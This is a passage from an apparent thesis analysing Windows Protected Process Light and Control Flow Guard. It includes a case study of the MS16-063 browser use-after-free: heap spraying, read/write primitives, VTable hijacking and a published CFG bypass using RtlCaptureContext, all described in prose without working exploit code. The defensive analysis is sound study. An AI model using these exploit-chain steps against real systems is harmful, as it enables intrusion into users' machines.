will still have to implement certain countermeasure themselves even with PPL. 
 
Antimalware software will also have to be more vigilant when it comes to new DLL loading 
persistence techniques like DoubleAgent. With PPL, the time for an antimalware software to self-
recover will be shorter if it failed to block the initial attack because Windows will no longer allow it 
to load after it stops. Therefore, it has become more critical than before for antimalware software 
to develop more powerful, and hence more complex, defenses to avoid falling into such situation. 
This is the opposite of what PPL was trying to achieve. 
 
On the positive side, antimalware software developers can phase out some of their existing self-
protection modules, particularly those for protecting their process. This frees up development 
resources allocated to its maintenance. 
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In terms of practicalities, PPL is enforced by Windows so there are not much additional 
development efforts needed from the antimalware software developers. The only inconvenience 
is that antimalware software need to update their ELAM driver every time their code-signing 
certificate expires. This is because the information of their new certificate has to be added to the 
ELAM driver (Kennedy et al., 2018). In practice this means, that the ELAM driver has to be updated 
every few years even when there are no new features to be released. This is because even though 
driver-based rootkits are no longer prevalent, code-signing certificates expire every one to three 
years.  
 

5.8 Implications for Users and Antimalware Software 
 
For end users, they should enable VBS whenever possible. For antimalware software, they have to 
start phasing out their self-protection modules for those that are already covered by PPL. This not 
only free up development resources but also reduces the attack surface for attackers seeking to 
exploit them. However, this should not be done on products that still have users running Windows 
older than Windows 8.1 and Windows Server 2012 R2. 
 
Antimalware software should also address the potential denial-of-service attack vector introduced 
by PPL. They should address the technique used by DoubleAgent if they have not done so yet 
before coming up with a more generic solution. One potential approach is to block unknown 
executables attempting to create the registry entries described in Figure 5.12. 
 
Antimalware software vendors may also consider setting up their own private CA. This way, they 
can issue certificates with longer expiry dates for singing their executables. This reduces the 
frequency needed to update their ELAM driver (Kennedy et al., 2018). 
 
Lastly, antimalware software have no choice but to support PPL because starting Windows 10 
version 1809, PPL is required to be able to register to Windows Security Center (Wood et al., 
2018). Windows Security Center is the Windows component that informs users about the health 
of their systems and all antimalware software are required to register.  
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6 Control Flow Guard 
 
Control Flow Guard (CFG) is Microsoft’s implementation of a control flow integrity (CFI) 
enforcement. It is one of the many exploit mitigation technique that protects against memory 
corruption attacks (Control Flow Guard, 2018). Attackers often corrupt memory that holds an 
address, for example the target of an indirect function call, to hijack execution of a program. This 
is the most common method of exploiting software vulnerabilities (Carlini et al., 2015). 
 

6.1 Control Flow Integrity 
 
A CFI policy mitigates memory corruption attacks by restricting execution flow of a program to a 
pre-determined set of control flow. This is often achieved in two phases, an analysis and an 
enforcement phase. In the analysis phase, a program is statically analyzed to build a control flow 
graph. Targets of all indirect control flow transfers that land on a control flow graph are tagged 
accordingly (Figure 6.1). The enforcement phase happens during runtime of the program. A check 
is performed before every indirect control transfer to ensure that the target has the matching tags 
determined during the analysis phase (Evans et al., 2015). 
 

 
 

Figure 6.1: Control Flow Graph with Tagged Targets 
from Indirect Control Flow Transfers 

 
Due to the infeasibility of precisely enforcing a CFI policy (Carlini et al., 2015; Evans et al., 2015), 
multiple practical implementations have been developed that simply check if an indirect control 
flow transfer will land on a valid target as opposed to a target that has the matching tags (Figure 
6.2a vs Figure 6.2b). These variants are generally called coarse-grained CFI. On the other hand, the 
more precise variants are called fine-grained CFI. A side note though, given that constructing a 
precise control flow graph is undecidable, there are no fine-grained CFI implementation that is 
perfectly precise (Evans et al., 2015). 
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Figure 6.2a: Coarse-grained 
 

 
 

Figure 6.2b: Fine-grained CFI

 
A CFI implementation may further be grouped into those that enforce CFI on forward-edge control 
transfers and those that enforce on backward-edge control transfers. Examples of the former are 
transfers that resulted from call and jump instructions, while examples of the latter are transfers 
that resulted from a return instruction. 
 
CFG is a variant of a coarse-grained forward-edge CFI implementation. According to Yosifovich et 
al. (2017: 748 - 749), it also includes some form of backward-edge CFI implementation in its latest 
incarnation, although this thesis was not able to confirm. The feature requires a portable 
executable (PE) to be built with CFG enabled as well was operating system support. The 
succeeding sections will discuss these in details. 
 

6.2 Compile Time Analysis 
 
The analysis phase of CFG is performed during compilation. To enable CFG, developers simply 
need to include the ‘/guard:cf’ option in both their compiler and linker options. The option is 
available starting Visual Studio 2015. PE built with CFG enable will have the 
IMAGE_DLLCHARACTERISTICS_GUARD_CF value set in the DllCharacteristics field 
of their header and have IMAGE_GUARD_CF_INSTRUMENTED and 

IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT values set in their GuardFlags load 
config value (Control Flow Guard, 2018; PE Format, 2018). The Dumpbin.exe tool that comes with 
Visual Studio may be used to display these values in more human readable form as highlighted in 
blue in figures 6.3a and 6.3b. 
 



 

 35 

 
Figure 6.3a: Snippet of Dumpbin.exe Output with /HEADERS Option 

 

 
Figure 6.3b: Snippet of Dumpbin.exe Output with /LOADCONFIG Option 
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During compilation, CFG identifies all the function addresses in a program then store them in a 

table called GuardCFFunctionTable in the ‘.rdata’ section of the resulting PE. Figure 6.4 is a 
hex view of the table in a PE with the function addresses highlighted in red. The bytes of the 
addresses are displayed inverted because they are stored in little endian. 
 

 
Figure 6.4: Hex View of GuardCFFunctionTable in Corresponding PE Section 

 
Alternatively, Dumpbin.exe may be used to directly list the function addresses together with other 
related load config values as shown in Figure 6.3b. In the example, the addresses are highlighted in 
red. The ‘Guard CF function table’ value highlighted in yellow refers to the address of the 
GuardCFFunctionTable. This value should correspond to the address of the table as seen in 
a hex editor in Figure 6.4. There is also the ‘Guard CF function count’ value which refers to the 
number of entries in the GuardCFFunctionTable. In the example, it has the value of 0xC, or 
12 in decimal. 
 
Take note that by default, identified functions include all functions in the program and not just 
targets of indirect control flow transfers. This is because there might be use cases where third 
party program does not legitimately know the address of a function being called. An example of 
such use case is the GetProcAddress functionality of Windows. Developers have to explicitly 
exclude functions they know will never be a target of indirect control flow transfers using the 
DECLSPEC_GUARD_SUPPRESS annotation (Yosifovich et al., 2017: 741). 
 

typedef void(*func_t)(); 

 

void normal_function() 

{ 

 printf("This is a valid indirect call/jump target.\r\n"); 

} 

 

DECLSPEC_GUARD_SUPPRESS void supressed_function() 

{ 

 printf("This can only be called directly.\r\n"); 

} 

 

int main() 

{ 

 func_t indirect_normal_function = normal_function; 

 func_t indirect_supressed_function = supressed_function; 

 

 normal_function(); 

 supressed_function(); 

 

 indirect_normal_function(); 

 indirect_supressed_function();  // will crash here if CFG is enabled 

 printf("This will not be printed.\r\n"); 

} 

Figure 6.5a: DECLSPEC_GUARD_SUPPRESS Annotation Example 
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Figure 6.5b: Console Output of PE Built from Code in Figure 6.5a 

 

 
Figure 6.5c: Snippet of Dumpbin.exe Output for PE Built from Code in Figure 6.5a 

 
There are two functions in Figure 6.5a, but only one with the DECLSPEC_GUARD_SUPPRESS 
annotation. Both of the functions are called directly and indirectly. Notice that the last printf call is 
never executed when CFG is enabled (Figure 6.5b). This is because Windows will terminate the 
program when it attempted to indirectly call suppressed_function. On the contrary, 
normal_function was allowed to be called indirectly because all functions are treated as valid 
targets by default. Also notice the ‘S’ guard, highlighted in yellow, that is only present in 
suppressed_function (Figure 6.5c). 
 
The guard value, also known as the header flag (Lucasg, 2017), is represented by optional bytes 

that may come after each GuardCFFunctionTable entry. The number of bytes is determined 
by applying the IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK mask to the 
GuardFlags load config value then the result is right shifted by the number of bits defined in 
IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT. At the moment, they are 0xF0000000 

and 28 respectively (PE Format, 2018). Using the example in Figure 6.5c, the GuardFlags has a 
value of 0x10017500 as highlighted in blue. Therefore, the computation for the number of 
optional bytes would be 0x10017500 & 0xF0000000 >> 28, which is equal to one byte. Figure 6.6 is 
a hex view of the same GuardCFFunctionTable entries shown in Figure 6.5c. The addresses 
are highlighted in red while the header flag in yellow. Notice that ‘0x20 0x10’ has a header flag of 
1. The value indicates that the function is a SuppressedCall (Lucasg, 2017).  
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Figure 6.6: Corresponding Hex View of Figure 6.5c 

 
SuppressedCall should not to be confused with another CFG feature called ‘export 
suppression’ (Yosifovich et al., 2017: 748), which uses the header flag of 2. This feature will be 
explained in the succeeding Run Time Enforcement section. Figure 6.7a is a snippet of 
dumpbin.exe output for a PE with suppressed exports, while Figure 6.7b is a hex view of the same 
PE. Just like earlier, the addresses are highlighted in red while the header flag in yellow. 
 

 
Figure 6.7a: Export Suppression 

(Dumpbin.exe) 

 
 
 

 
Figure 6.7b: Export Suppression (Hex View) 

 
During compilation, CFG also converts indirect calls to indirect calls to a dispatcher function where 
the original target address is passed as argument (Figure 6.8). The function pointer of the 
dispatcher function is stored in the GuardCFDispatchFunctionPointer load config value; 
‘Guard CF address of dispatch-function pointer’ in dumpbin.exe output (Figure 6.3b). The 
dispatcher function is responsible for enforcing the CFI policy but the built PE will initially hold a 
function pointer to a placeholder function that simply hand execution over to the original target 
(Figure 6.9). This is necessary to allow the PE to still run on older Windows versions that do not 
support CFG. The function pointer is replaced with the address of the actual dispatcher function 
when the PE is loaded by a Windows version that supports CFG. 
 

 
Figure 6.8: Indirect Calls Converted Calls to Dispatcher Function 
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Figure 6.9: Placeholder Function Referred by GuardCFDispatchFunctionPointer 

 
In 32-bit PE, as of this writing, or if a Visual Studio older than 2017 (platform toolset v141) was 
used to build the PE, a call to a checker function is inserted before the indirect calls instead of 
replacing them (Figure 6.10). The function pointer of the checker function is stored in the 
GuardCFCheckFunctionPointer load config value; ‘Guard CF address of check-function 
pointer’ in dumpbin.exe output (Figure 6.3b). Just like with the dispatcher function used by newer 
toolset, the function pointer will only be a placeholder for backward compatibility. 
 

 
Figure 6.10: Calls to Checker Function Inserted Before Indirect Calls 

 

6.3 Run Time Enforcement 
 
The CFI policy is enforced on a CFG-enabled PE by a CFG-aware version of Windows. The feature is 
available starting Windows 8.1 with KB3000850 update (Control Flow Guard, 2018). However, to 
utilize the entire feature set of CFG, the latest version of Windows 10 or Windows Server 2016 is 
required. On 32-bit PEs, CFG also requires the Data Execution Prevention feature to be present 
(Yosifovich et al., 2017: 751). 
 
Upon execution of a PE, Windows will build a CFGBitmap based on the load config values of the 
PE. A CFGBitmap is a mapping of all the addresses in a process to bits that represent whether the 
address is a valid target of an indirect call or not. Each CFGBitmap entry consists of two bits that 
represents the validity of 16 consecutive addresses (Figure 6.11). This is based on the fact that 
compilers ought to generate function code at 16-byte boundaries (Yosifovich et al., 2017: 745). 
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Figure 6.11: CFGBitmap Representation 
 
The CFGBitmap is used by Windows to enforce the CFI policy during execution. The enforcement 
routines have to be triggered before the indirect calls though. Windows achieve this by changing 
the pointers to the dispatcher and checker placeholder functions generated during compile time 
to the addresses of the actual Windows functions that enforce the CFI policy during run time. 
 
Prior to Windows 10, the dispatcher function is not supported. Only the 
GuardCFCheckFunctionPointer load config value will be set to the 

LdrpValidateUserCallTarget Windows function (Tang, 2015). The 
GuardCFDispatchFunctionPointer load config value will retain the address of the 
placeholder function. This means that 64-bit PE built using Visual Studio 2017 or newer will not 
have any form of CFG mitigation when executed in Windows 8.1. The 
GuardCFDispatchFunctionPointer load config value will only be set to 
LdrpDispatchUserCallTarget starting Windows 10 and Windows Server 2016. 
 
Prior to Windows 10 Anniversary Update and Windows Server 2016, a CFGBitmap entry consist of 
two bit-fields. The bit-fields are summarized in Table 6.1 (Tang, 2015). SuppressedCall and 
export suppression are not supported, therefore all the addresses in the 
GuardCFFunctionTable of the PE will be marked as valid targets in the CFGBitmap. 
Addresses with the SuppressedCall flag will only be marked as a potentially invalid target 
starting Windows 10 Anniversary Update (Li, 2016; Yosifovich et al., 2017: 741) and Windows 
Server 2016. 
 

Bit  

0 The first address of the 16 consecutive addresses is a valid target  

1 At least one of the 15 consecutive addresses following the first is a valid target 

Table 6.1: CFGBitmap Entry Bit Fields Prior to Windows 10 Anniversary Update 
 
Starting Windows 10 Creators Update (Spisak, 2017) and Windows Server 2016 version 1709, the 
CFGBitmap entry has been modified to support for export suppression. The values of the two bits 
are now evaluated together instead of individually. The different combinations are described in 



 

 41 

Table 6.2 (Yosifovich et al., 2017: 745, 748). As of this writing, the export suppression feature is 
disabled by default though. It can be enabled using the command in Figure 6.12 (Bichsel et al., 
2018). 
 

Bit 1 Bit 0  

0 0 The 16 consecutive addresses do not contain any valid target 

0 1 The first address in the 16 consecutive addresses is a valid target 

1 1 One of the 16 consecutive addresses is a valid target 

1 0 The 16 consecutive addresses belong to an export suppressed function 

Table 6.2: CFGBitmap Entry Values Starting Windows 10 Anniversary Update 
 

 

Powershell Set-ProcessMitigation -System -Enable CFG, SuppressExports 

 

Figure 6.12: System Command to Enable Export Suppression 
 
Export suppressed functions are treated as valid targets when the feature is disabled. When the 
feature is enabled, export suppressed functions are handled differently. The 
GuardCFCheckFunctionPointer and GuardCFDispatchFunctionPointer load 

config values are set to LdrpValidateUserCallTargetES and 
LdrpDispatchUserCallTargetES respectively instead of 
LdrpValidateUserCallTarget and LdrpDispatchUserCallTarget (Yosifovich et 
al., 2017: 750). The export suppression variant of the checker and dispatcher function will treat 
export suppressed functions as potentially invalid targets. However, when the export suppressed 
functions are resolved legitimately, the two bits in their CFGBitmap entry are exchanged making 
them valid targets when they are 16-byte aligned. For example, an export suppressed function will 
initially have a CFGBitmap entry of ‘10’. It will be treated as a potentially invalid target when a 
shellcode attempts to indirectly call it at this state. On the other hand, when a third party program 
legitimately resolved the function through the GetProcAddress Windows API, its CFGBitmap 
entry will be changed to ‘01’ making it a valid target when it is later called indirectly by the third 
party program (Spisak, 2017). 
 
As mentioned, the checker and dispatcher functions are responsible for enforcing the CFI policy. 
The former will simply return if a target is valid while the latter will execute the target if valid. For 
the latter, it has the advantage of being able to perform further checks after the target has been 
executed. According to Yosifovich et al. (2017: 748 - 749), one such check is ensuring that the stack 
has not been corrupted. However, this thesis was not able to find any evidence of any additional 
checks. It might be that this thesis used a different setting than the one expected by Yosifovich et 
al. or that the feature is yet to be implemented. In any case, process will be terminated if target is 
found to be invalid or if stack is found to be corrupted. This in effect disrupts attempts at 
exploiting the process. 
 
Finally, to determine whether a potentially invalid target is indeed invalid, Windows checks if 
application compatibility option is enabled. If not, potentially invalid targets are treated as invalid. 
If enabled, for example, when using the Application Verifier tool of Microsoft, potentially invalid 
targets are checked if they are in the GuardCFFunctionTable of the PE and will only be 
treated as invalid if they are not found (Yosifovich et al., 2017: 750 - 751). This exception may 
explain why functions marked as SuppressedCall are still added to the 
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GuardCFFunctionTable of the PE if they are just going to be treated just like functions not 
found in the table. 
 

6.4 Hinder Browser Exploit Development 
 
To recap, CFG protects against memory corruption attacks, specifically those types that corrupt 
function pointers of indirect calls to hijack execution. CFG limits the allowed targets of indirect 
calls to a set of addresses that was predefined during compile time. This means attackers can no 
longer use the indirect calls to hijack control flow to code they introduced during run time. 
However, this means that attackers can still use the indirect calls to direct flows to any address 
listed in the GuardCFFunctionTable. Carlini et al. (2015) have demonstrated that such 
approach may be used to bypass CFI and that a backward-edge CFI is also necessary to be secure. 
Even with backward-edge CFI, Evans et al. (2015) have demonstrated that it is still possible to 
perform Turing complete computations in certain scenarios, though they claimed such scenarios 
are common in application. Both researches even assumed a forward-edge CFI implementations 
that are more precise than CFG. 
 
Yet with all that, Microsoft have still chosen a coarse-grained forward-edge CFI implementation. In 
fact, Microsoft is aware of the limitations. Both ‘hijacking control flow via return address 
corruption’ and ‘calling functions out of context’ were listed as out of scope of CFG (Mitigation 
Bypass and Bounty for Defense Terms, n.d.). With CFG, Microsoft is most likely just aiming at the 
low-hanging fruit, which is to make browser exploit development more difficult. 
 
Browsers are one of the favorite attack vectors of hackers because browsers are the main 
interface of users to the Internet. According to the report of Skybox Security (2018), four out of 
the top ten most vulnerable products are browsers. Just by making browser vulnerabilities harder 
to exploit, Microsoft is already making Windows less attractive target for would be attackers, 
hence indirectly making its users more secure. 
 
According to the research of Zhang and Sekar (2013), ‘instr’ CFI implementations can improve 
average indirect target reduction (AIR) by 79.27% while ‘bundle’ CFI implementations can improve 
AIR by 96.04%. The two implementations are outside the scope of this thesis but the former is a 
subset of CFG while the latter overlaps with CFG. This makes the AIR of CFG somewhere between 
the two percentages. AIR is a measure of how much valid targets an indirect control flow transfer 
may take has been eliminated. Although this method of evaluating the effectiveness of a CFI 
implementation for protecting against actual attack is being disputed (Carlini et al., 2015), 
reducing the amount of usable code should make it harder or more time consuming to build 
logical construct when exploiting a vulnerability. Therefore, CFI may not prevent skilled and 
determined attackers from exploiting a vulnerability but it still has the potential to slowdown or 
dissuade a significant number of cybercriminal businesses trying to achieve some quick wins from 
exploiting a vulnerability. 
 

6.5 Use-After-Free Vulnerabilities 
 
Now when it comes to browser vulnerabilities, one of the most successfully exploited class of 
vulnerability at the time when CFG was introduced was the use-after-free (UAF). In Pwn2Own 
2016, all major web browsers were exploited based on UAF vulnerabilities (Sarbinowski, 2016). 
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Pwn2Own is an annual hacking contest, where participants compete to exploit popular software 
with previously unknown vulnerabilities. Pwn2Own 2016 occurred the year after Windows 10 has 
already been made available to the general public and just over a year after CFG was first 
introduced in Windows 8.1. 
 
As the name suggests, a program with UAF vulnerability accesses memory that has already been 
freed. Due to the predictable nature of how Windows allocates memory, attackers can allocate a 
new region that has the address of the previously freed memory. Since attackers have full control 
of this memory, they can feed specially crafted data to a vulnerable program that will results to 
the behavior that the attackers desire. 
 

6.6 VTable Hijacking 
 
To gain code arbitrary code execution, UAF is often used by attackers to hijack Virtual Table 
(VTable) pointers (Sarbinowski, 2016). VTables are memory structures used by programs built 
using C++ to determine the addresses of virtual functions of C++ objects. In C++ programming, 
virtual functions are functions in a superclass that can be overridden by objects of a subclass. 
Using the classes in figures 6.13a and 6.13b as example, the Adder and the Subtractor class 

are subclasses of the Operator superclass, both overriding the get_result_virtual virtual 
function. 
 
 
 

class Operator 

{ 

protected: 

 int op1 = 0; 

 int op2 = 0; 

public:  

 void set_op1(int x) 

 {        

  op1 = x; 

 } 

 

 void set_op2(int x) 

 {        

  op2 = x; 

 } 

 

 int get_result() 

 {        

  return 0; 

 } 

 

 virtual int get_result_virtual() 

 {        

  return 0; 

 } 

}; 

 

Figure 6.13a: Superclass Example 
 
 

 

class Adder :public Operator 

{ 

public:  

 int get_result() 

 {        

  return op1 + op2; 

 } 

 

 int get_result_virtual() 

 {        

  return op1 + op2; 

 } 

}; 

 

Figure 6.13b: Subclass Examples 
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void main() 

{ 

 Operator *opr; 

 

 Adder add; 

 opr = &add; 

 

 add.set_op1(1); 

 add.set_op2(2); 

 

 printf("%d\n", opr->get_result()); 

 printf("%d\n", add.get_result()); 

 

 printf("%d\n", opr->get_result_virtual()); 

 printf("%d\n", add.get_result_virtual()); 

} 
Figure 6.13c: Casting an Adder Object as an Operator

 
When an object of the subclass Adder is instantiated, it can override the 
get_result_virtual routine of the Operator class with the get_result_virtual 
routine of the Adder class, even when the object was casts into an Operator class. This is in 
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contrast to the non-virtual function get_result, where it will retain the routine of the 

Operator class when the object is casts into an Operator class (Table 6.3). 
 

Line Printout 

11 0 

12 3 

14 3 

15 3 

Table 6.3: Output of the Snippet in Figure 6.13c 
 
It is possible to statically determine which function address to use for get_result. The 
compiler can simply use the routine of the class an object is cast to at the point when the routine 

is called. For example, in Figure 6.13c, the compiler can simply use the get_result routine of 
the Operator class at line 11 based on the class of the opr variable. However, there is no way 
to statically determine which routine to use for get_result_virtual at line 14 because it 

can be overridden by the routine of whatever class the object the opr variable will be pointing to 
at runtime. Hence, objects need to keep track of virtual functions they have overridden at runtime 
and this is what VTables provide. 
 
A VTable is generated for every class that has virtual functions and are loaded into read-only 
memory at runtime. Objects, on the other hand, are allocated in writable memory so that they can 
be readily be update during runtime (Sarbinowski, 2016). Objects that belong to classes that have 
virtual functions will contain pointers to the corresponding VTables, as illustrated in figures 6.14a 
and 6.14b. Consequently, when a virtual function is to be invoked, compiled code have to follow 
the pointer to the VTable from the object then obtain the address of the function from the VTable, 
as shown in Figure 6.15. 
 

 
 

Figure 6.14a: Memory Layout of Objects and VTables 
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Figure 6.14b: Memory Layout of Figure 6.13 
 

 
Figure 6.15: Virtual Function Call in Disassembly of Figure 6.13c 

 
Assuming an attacker is able to load a malicious routine at runtime and change the address of 
get_result_virtual in the VTable of the Operator class in Figure 6.14b to the address of 
the malicious routine. This will result to the indirect call in Figure 6.15 executing the malicious 
routine when invoked. This is what is called VTable Hijacking. 
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In practice, attackers will not be able to directly modify addresses in VTables, which reside in read-
only memory. However, attackers can corrupt VTable pointers that reside in writeable memory 
instead. Attackers simply need to allocate new memory, create a bogus VTable in the allocated 
memory that contains addresses of routines they want to execute, then corrupt the VTable 
pointer of a target object to point to the bogus VTable. The latter is usually achieved through using 
what is called a read/write (RW) primitive. A RW primitive is an object or function that can be 
exploited to gain arbitrary memory read and write (Oh, 2016). The next section discusses 
an example of a UAF vulnerability that was used to turn a vulnerable object to a RW primitive, that 
was ultimately used to achieve arbitrary code execution via VTable Hijacking. 
 

6.7 Case Study: MS16-063 
 

Microsoft Security Bulletin MS16-063 is about a UAF vulnerability that exists in TypedArray and 
DataView JavaScript objects used by Microsoft browsers. In JavaScript, TypedArray and 

DataView objects provides a mechanism for manipulating a buffer. They are not to be confused 
with ArrayBuffer objects, which represent the buffer itself. Think of TypedArray and 
DataView objects as representation of the context of how a buffer should be interpreted. 

Hence, TypedArray and DataView objects are just references to ArrayBuffer objects. 

There is a UAF vulnerability because certain methods of TypedArray and DataView objects 
does not check if the ArrayBuffer object they are referring exists before operating on the 
buffer (Theori, 2016). For this case study, we will be using a TypedArray object. 
 
A TypedArray object contains a VTable pointer as well as the length and memory address of the 
buffer it references. TypedArray objects can manipulate a buffer based on several data types. For 
simplicity, we will be using 1-byte Integer. Figure 6.16 is a rough generalization of the layout of our 
TypedArray object in memory. 
 

 
 

Figure 6.16: Rough Memory Layout of a TypedArray Object of 1-byte Integer Type 
 
To gain a RW primitive, attackers can free the buffer being referenced by a TypedArray object, 

then immediately create a series of new TypedArray objects. Due to the predictable nature of 
how Windows allocate memory, some of the newly created TypedArray objects will occupy the 
addresses of the previously freed buffer. This technique is also known as Heap Spraying. The first 
TypedArray object will continue to treat its buffer as 1-byte Integer because of the UAF 
vulnerability. As a result, this TypedArray object, which we will call TypedArray Object X, can be 
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used to locate and directly manipulate the memory structure of one of the newly created 

TypedArray object. Figure 6.17 summarizes the entire process. 
 
 

 
 

Figure 6.17a: Freed Buffer 
 
 
 
 

 
 

Figure 6.17b: Heap Spray with TypedArray Objects 
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Figure 6.17c: Gaining RW Primitive 
 
Once attackers located the memory structure of the newly created TypedArray object in 
memory, which we will call TypedArray Object Z, they can use it for arbitrary memory read and 
write. Attackers can just use TypedArray Object X to set the buffer member of TypedArray Object 
Z to the memory address they wanted to read or write. In addition to that, TypedArray Object Z 
may also be used for arbitrary code execution, assuming CFG is not present. Attackers can create a 
bogus VTable then use TypedArray Object X to change the VTable pointer of TypedArray Object Z 
to point to the bogus VTable. Figures 6.18a and 6.18b illustrate the memory layout before and 
after Hijacking the VTable of TypedArray Object Z. Attacker simply need to call virtual function 2 
method of TypedArray Object Z to execute the malicious code. 
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Figure 6.18a: Before VTable Hijacking 
 

 

 
 

Figure 6.18b: After VTable Hijacking 
 
In the exploit of Theori (2016), the malicious code used was a stack pivot gadget in jscript9.dll. A 
stack pivot is a short sequence of instructions that set the stack pointer to an arbitrary address 
and immediately execute the return instruction. It is often used by exploits to gain execution flow. 
On the other hand, a gadget is a short random sequence of bytes in memory that coincide with a 
valid Intel x86 instruction. Since stack pivot gadgets are just random bytes in memory, they will 
not be a valid indirect CFG call target. This is the reason why according to the publication; the 
exploit does not work in Windows 8.1 and beyond. 
 
As mentioned earlier, the aim of CFG is most likely just to slow down browser exploit 
development. The same exploit can be made to work on CFG protected systems but several 
challenges have to be addressed at the same time when devising such an attack. First, one of the 
modules loaded by the browser need to have a function that can be used to achieve the same 
outcome as a stack pivot. Second, one of the modules loaded by the browsers need to have a 
virtual function that share the same function prototype as the first. Third, the virtual function has 
to be callable from a JavaScript either directly or indirectly. Finally, the virtual function needs to be 
able to receive parameters from and return data to a JavaScript. 
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In a blog by Schenk (2017a), he demonstrated that such a bypass is indeed possible. Through 

reverse engineering jscript9.dll, he found that the HasItem virtual function of TypedArray 
objects is directly callable from JavaScript, and has one user-controlled parameter. Unfortunately, 
the latter only able to partly address the last requirement. Moreover, he still needs to find a 
function that may be used as a stack pivot, which matches the function prototype of HasItem. 
However, Schenk learned from Microsoft documentation about that the RtlCaptureContext 
Windows API and was able to use it to work around the restrictions. 
 

RtlCaptureContext can be used to obtain the stack pointer and accepts the same number of 
parameters as HasItem. Therefore, instead of attempting to perform a stack pivot directly, 
Schenk hijacked the VTable of a TypedArray object to replace the HasItem virtual function 

with the address of RtlCaptureContext. Now he can use HasItem from JavaScript to 

execute the RtlCaptureContext Windows API to obtain the stack pointer. Once he has the 
stack pointer, he can use the RW primitive to set it any address he likes. Since 
RtlCaptureContext is a Windows API, it will be a valid indirect CFG call target, unless 
Microsoft decides to suppress it in later Windows versions. 
 
Schenk shows that devising such bypass is no easy feat, which takes reverse engineering skill, 
familiarity with Windows APIs, ingenuity and hard work. Not all attackers will have the same skill 
nor will be able or willing to invest the same amount of time. Attackers may copy Schenk’s 
implementation but there is no guarantee that the implementation will work on a different 
system. For example, the implementation will not work on systems with export suppression 
enable because RtlCaptureContext is export suppressed. This is the kind of value that CFG 
provides. 
 

6.8 Decline of Exploit Kits 
 
It is difficult to measure whether CFG was able to reduce successful browser exploitation in the 
wild. However, the use of exploit kits is declining (Cimpanu, 2018; Segura, 2018; Skybox Security, 
2018). Exploit kits are tools used by malicious websites for delivering series of exploits to their 
visitors with the hope of one exploit being successful. Cimpanu (2017) attributed the decline to 
several reasons, among them being browsers ‘getting harder to hack’. Cimpanu (2018) reiterated 
the following year that this is because browsers are becoming more secure. Contrary to this claim, 
Skybox Security (2018) found that all browsers actually saw an increase in the number of 
vulnerabilities around the same period even though exploit kits have declined. Hence, it is likely 
that exploit kits have declined not because there are less vulnerabilities found in browsers but 
because vulnerabilities have indeed become harder to exploit. 
 
According to StatCounter (n.d.), it is also around that same period when Windows 10 overtook 
Windows 7 to become the most used Windows version (Figure 6.19). The ascent of Windows 10 
most likely also played a role in the decline of exploit kits. Windows 10 comes with more exploit 
mitigation features, which include the runtime support for CFG. In addition to that, the default 
browsers bundled in the operating system have all their loaded modules built with CFG enabled 
(Schenk, 2017b). 
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Figure 6.19: Windows Version Market Share 
 
Other major browsers such as Google Chrome and Mozilla Firefox also have most of their modules 
built with CFG enabled. For Google Chrome, it may seem that only the system modules have CFG 
enabled (Figure 6.20). This is because Chrome’s internal modules are using Clang CFI instead 
(Schuh, 2017), which is an alternative CFI implementation to CFG. For Mozilla Firefox, only the API 
Sets modules are not CFG enabled (Figure 6.21). API Sets are virtual DLLs that do not contain 
executable code (Yosifovich et al., 2017: 173), hence do not contain code that may be used by 
exploits. Regardless whether the decline of exploit kits is the direct result of the introduction of 
CFG, it is still safe to claim that CFG must have at least contributed to making vulnerabilities harder 
to exploit, which led to the decline. 
 

 
Figure 6.20: Google Chrome Non-CFG Enabled Modules 
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Figure 6.21: Google Chrome Non-CFG Enabled Modules 

 

6.9 Assessment 
 
CFG provides the most benefit to the end users. They get the benefit of reduced exposure to 
threats when browsing the Internet without requiring any action. However, to realize this benefit, 
their browser of choice needs to be CFG enabled. This should not be an issue as most major 
browsers already have most of their modules, if not all, built with CFG enabled.  
 
Although users benefit most from CFG when using browsers, the protection provided by CFG may 
also extend to other types of software as well. For example, document viewers such as Acrobat 
Reader may be exploited by attackers because they are used to open files that often originate 
from the Internet. One concrete example is the malware discussed by Seeley (2018), which 
exploited a UAF vulnerability in Acrobat Reader. As noted by Seeley, the exploitation of the 
vulnerability would have been harder if CFG was enabled in Acrobat Reader. Hence, the general 
rule is that users should choose the software with the most built-in security. The only obstacle is 
that it is not always possible for users to switch software. An example is a critical business process 
that is depending on a specific software product and version.  
 
For developers, CFG is being promoted by Microsoft as a security feature that does not require 
any source code modification and is fully compatible to ‘CFG-unaware’ versions of Windows 
(Control Flow Guard, 2018). However, this is only partly true. Even though developers only need to 
include the ‘/guard:cf’ option in their compiler and linker options, the option is only supported 
starting Visual Studio 2015. In practice, not all developers use the latest version of Visual Studio 
and upgrading Visual Studio projects may require source code modifications (Blome et al., 2016). 
Thus, adopting CFG faces the same resourcing and scheduling challenges as developing any other 
software features. Nevertheless, upgrading a project to support CFG, when compared to 
developing other features, is still relatively inexpensive in the sense that the investment is spent 
on modernizing the code base. This may bring other indirect benefits, the most obvious being the 
extension of the life span of the software. 
 
On the other hand, upgrading the code base may introduce additional challenges as well. Many 
software companies may still have paying customers using legacy Windows versions. Naturally, 
the software developed for these legacy operating systems may be using third-party modules that 
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are no longer supported. This means that upgrading the project would involve migrating to newer 
third-party modules that may not be compatible with the legacy operating systems. As a result, 
companies may be forced into maintain separate code bases, where each may end up also 
requiring their own separate supply chain infrastructure. 
 

6.10 Implications for Users and Security Software 
 
For end users, they should still not blindly switch to another security software just because all its 
modules are CFG enabled. As mentioned earlier, CFG only makes exploit development more 
difficult. However, a superior security software is still likely to provide a better protection 
coverage as a whole even when it was a weak link in some areas. Therefore, users should still 
carefully evaluate the strength and weakness of a security software when making their decisions. 
 
For security software vendors, it is critical for them to enable CFG in all their modules. Just like any 
other software, security software may also be exploited by attackers. However, security software 
have more at stake because users may be less forgiving when security software gets exploited. 
After all, security software are supposed to be prevent such thing from happening, not only to 
themselves but to the entire system. 
 
For CFG to work, it also requires that a protected software has all its modules CFG enabled. 
Referring back to the case study discussed earlier, the exploit of Theori (2016) does not work in 
Windows 8.1 and beyond because all modules, including jscript9.dll, loaded by Internet Explorer 
and Edge are CFG enabled. This can be undermined if additional non-CFG enabled modules are 
loaded into the browsers. It is not uncommon for security software to have browser modules for 
monitoring potential intrusions. If these modules are not CFG enabled, they have the potential to 
make a previously unexploitable vulnerability exploitable. 
 
Small security software vendors may resist the costs involved in enabling CFG in all their modules. 
They may think that most attackers will not be interested in developing an exploit that only works 
